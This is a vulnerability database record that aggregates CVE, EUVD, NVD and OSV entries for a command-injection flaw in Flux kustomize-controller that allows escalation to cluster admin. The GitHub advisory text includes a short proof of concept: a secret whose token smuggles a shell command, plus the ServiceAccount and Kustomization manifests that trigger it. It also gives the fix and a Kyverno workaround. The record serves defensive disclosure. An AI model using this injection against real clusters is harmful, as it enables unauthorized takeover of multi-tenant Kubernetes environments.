{"id":"GHSA-35rf-v2jv-gfg7","revision":null,"records":[{"revision":"63ffb729b7f94142a85d8a196b238cd3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2021-41254","aliases":[],"title":"Privilege escalation to cluster admin on multi-tenant environments","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","state":0,"publishedAt":"2021-11-12T17:45:10+00:00","modifiedAt":"2024-08-04T03:08:31.648+00:00","affected":[{"ecosystem":"Vendor product","name":"kustomize-controller","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"product\": \"kustomize-controller\",\n                    \"vendor\": \"fluxcd\",\n                    \"versions\": [\n                        {\n                            \"status\": \"affected\",\n                            \"version\": \"< 0.15.0\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-41254","license":"CVE Program Terms of Use","key":"cve-program:CVE-2021-41254","identifiers":["CVE-2021-41254"]},"retained":false,"historicalAffected":[]},{"revision":"79c0a41c76de44a7af603be2263433a3","observedAt":"2026-11-18T01:43:33.398+00:00","statement":{"source":"euvd","id":"EUVD-2021-2283","aliases":["CVE-2021-41254","GHSA-35rf-v2jv-gfg7"],"title":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, S…","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2021-2283","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 12, 2021, 5:45:10 PM","dateUpdated":"Aug 4, 2024, 3:08:31 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2021-2283","identifiers":["EUVD-2021-2283","CVE-2021-41254","GHSA-35rf-v2jv-gfg7"]},"retained":false,"historicalAffected":[]},{"revision":"e4ab6e9f91c6456c9e4b1e6dd93f74d6","observedAt":"2026-10-24T19:17:31.277+00:00","statement":{"source":"nvd","id":"CVE-2021-41254","aliases":[],"title":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, S…","description":"kustomize-controller is a Kubernetes operator, specialized in running continuous delivery pipelines for infrastructure and workloads defined with Kubernetes manifests and assembled with Kustomize. Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. In affected versions multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.","state":0,"publishedAt":"2021-11-12T18:15:07.6+00:00","modifiedAt":"2026-06-17T04:08:11.08+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"},{"system":"CVSS 2.0 · nvd@nist.gov · Primary","vector":"AV:N/AC:L/Au:S/C:C/I:C/A:C","score":9,"severity":"HIGH"}],"references":["https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-41254","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-78"],"productCriteria":["cpe:2.3:a:fluxcd:kustomize-controller:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2021-11-12T18:15:07.600","lastModified":"2026-06-17T04:08:11.080"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2021-41254","identifiers":["CVE-2021-41254"]},"retained":false,"historicalAffected":[]},{"revision":"213f793b6b754c85929a4f70c74d7e28","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-35rf-v2jv-gfg7","aliases":["BIT-kustomize-2021-41254","CVE-2021-41254","GO-2022-0260"],"title":"Privilege escalation to cluster admin on multi-tenant environments","description":"Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: exploit\n  namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n  name: exploit\n  namespace: default\nspec:\n  interval: 5m\n  path: \"./deploy/\"\n  sourceRef:\n    kind: GitRepository\n    name: app\n  serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: restrict-sa\nspec:\n  validationFailureAction: enforce\n  background: false\n  rules:\n    - name: validate-sa\n      match:\n        resources:\n          kinds:\n            - ServiceAccount\n          namespaces:\n            - tenant1\n            - tenant2\n        subjects:\n          - kind: User\n            name: some@tenant1.com\n          - kind: User\n            name: some@tenant2.com\n          - kind: ServiceAccount\n            name: kustomize-controller\n            namespace: flux-system\n          - kind: ServiceAccount\n            name: helm-controller\n            namespace: flux-system\n      validate:\n        message: \"Invalid service account\"\n        pattern:\n          X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n","state":0,"publishedAt":"2021-11-15T17:35:33+00:00","modifiedAt":"2026-09-10T03:49:09.4660808+00:00","affected":[{"ecosystem":"Go","name":"github.com/fluxcd/kustomize-controller","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.15.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7","https://nvd.nist.gov/vuln/detail/CVE-2021-41254","https://github.com/fluxcd/kustomize-controller"],"sourceUrl":"https://github.com/advisories/GHSA-35rf-v2jv-gfg7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-35rf-v2jv-gfg7","identifiers":["GHSA-35rf-v2jv-gfg7","BIT-kustomize-2021-41254","CVE-2021-41254","GO-2022-0260"]},"retained":false,"historicalAffected":[]},{"revision":"efc0871f9c0f422784566dcf0f4b2d7a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2022-0260","aliases":["BIT-kustomize-2021-41254","CVE-2021-41254","GHSA-35rf-v2jv-gfg7"],"title":"Privilege escalation to cluster admin on multi-tenant environments in github.com/fluxcd/kustomize-controller","description":"Privilege escalation to cluster admin on multi-tenant environments in github.com/fluxcd/kustomize-controller","state":0,"publishedAt":"2024-08-21T14:30:26+00:00","modifiedAt":"2026-02-04T02:38:30.562568+00:00","affected":[{"ecosystem":"Go","name":"github.com/fluxcd/kustomize-controller","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.15.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7","https://nvd.nist.gov/vuln/detail/CVE-2021-41254"],"sourceUrl":"https://osv.dev/vulnerability/GO-2022-0260","license":"OSV · upstream source license applies","key":"osv:GO-2022-0260","identifiers":["GO-2022-0260","BIT-kustomize-2021-41254","CVE-2021-41254","GHSA-35rf-v2jv-gfg7"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-19T05:22:48.4383343+00:00","complete":true,"records":1786,"lastAttemptAt":"2026-11-19T05:22:48.4383343+00:00","lastSuccessAt":"2026-11-19T05:22:48.5819004+00:00","error":null,"lastVerifiedAt":"2026-11-19T05:22:48.581904+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-e55c589538e0700b45c7d6d41fe1447a79199283262c371c864535c791a040b9-a3c5d1f50b99987b637138fdc7cd9e1e0d772b1c81dbbff4bcc8be865c192a98","complete":true,"records":428232,"lastAttemptAt":"2026-11-19T05:22:47.9486287+00:00","lastSuccessAt":"2026-11-19T05:22:47.9265788+00:00","error":null,"lastVerifiedAt":"2026-11-19T05:22:47.9486287+00:00","snapshotPublishedAt":"2026-11-19T04:33:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7c1103063ba0426d8e585240e558964c","complete":false,"records":13861,"lastAttemptAt":"2026-11-19T05:32:28.4240909+00:00","lastSuccessAt":"2026-11-19T05:32:27.403+00:00","error":"218 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-19T05:32:27.403+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13568,"expectedIdentifiers":13908,"failedIdentifiers":218},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-19T05:22:48.4383343+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-19T05:22:48.4383343+00:00","lastSuccessAt":"2026-11-19T05:22:48.5827402+00:00","error":null,"lastVerifiedAt":"2026-11-19T05:22:48.5827403+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-84b4b212d7ef41cb9ec24b71e9d8e5d8","complete":true,"records":13873,"lastAttemptAt":"2026-11-19T05:22:49.1394496+00:00","lastSuccessAt":"2026-11-19T04:24:39.391+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:24:39.391+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13908,"expectedIdentifiers":13908,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-76574c95b6792d47ba90af64983ed5843633f14426346d676016e94a5f383202","complete":true,"records":9963,"lastAttemptAt":"2026-11-19T05:22:48.2819697+00:00","lastSuccessAt":"2026-11-19T01:24:31.4213722+00:00","error":null,"lastVerifiedAt":"2026-11-19T05:22:48.2819697+00:00","snapshotPublishedAt":"2026-11-19T01:03:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-19T05:22:48.0028407+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-19T05:22:48.0028407+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-c0d9c71c6fa06d617f979e7bec0d97aca70ca5aea1558184002f8e44516f2fac","complete":true,"records":3177,"lastAttemptAt":"2026-11-19T05:22:48.391557+00:00","lastSuccessAt":"2026-11-18T21:25:09.5127964+00:00","error":null,"lastVerifiedAt":"2026-11-19T05:22:48.391557+00:00","snapshotPublishedAt":"2026-11-18T21:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2556fa291ec863b7fd77332e55dcff5569878e06b48ea32c182e52878cdd1ce8","complete":true,"records":232702,"lastAttemptAt":"2026-11-19T05:22:48.1723185+00:00","lastSuccessAt":"2026-11-19T04:24:35.8955272+00:00","error":null,"lastVerifiedAt":"2026-11-19T05:22:48.1723185+00:00","snapshotPublishedAt":"2026-11-19T03:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}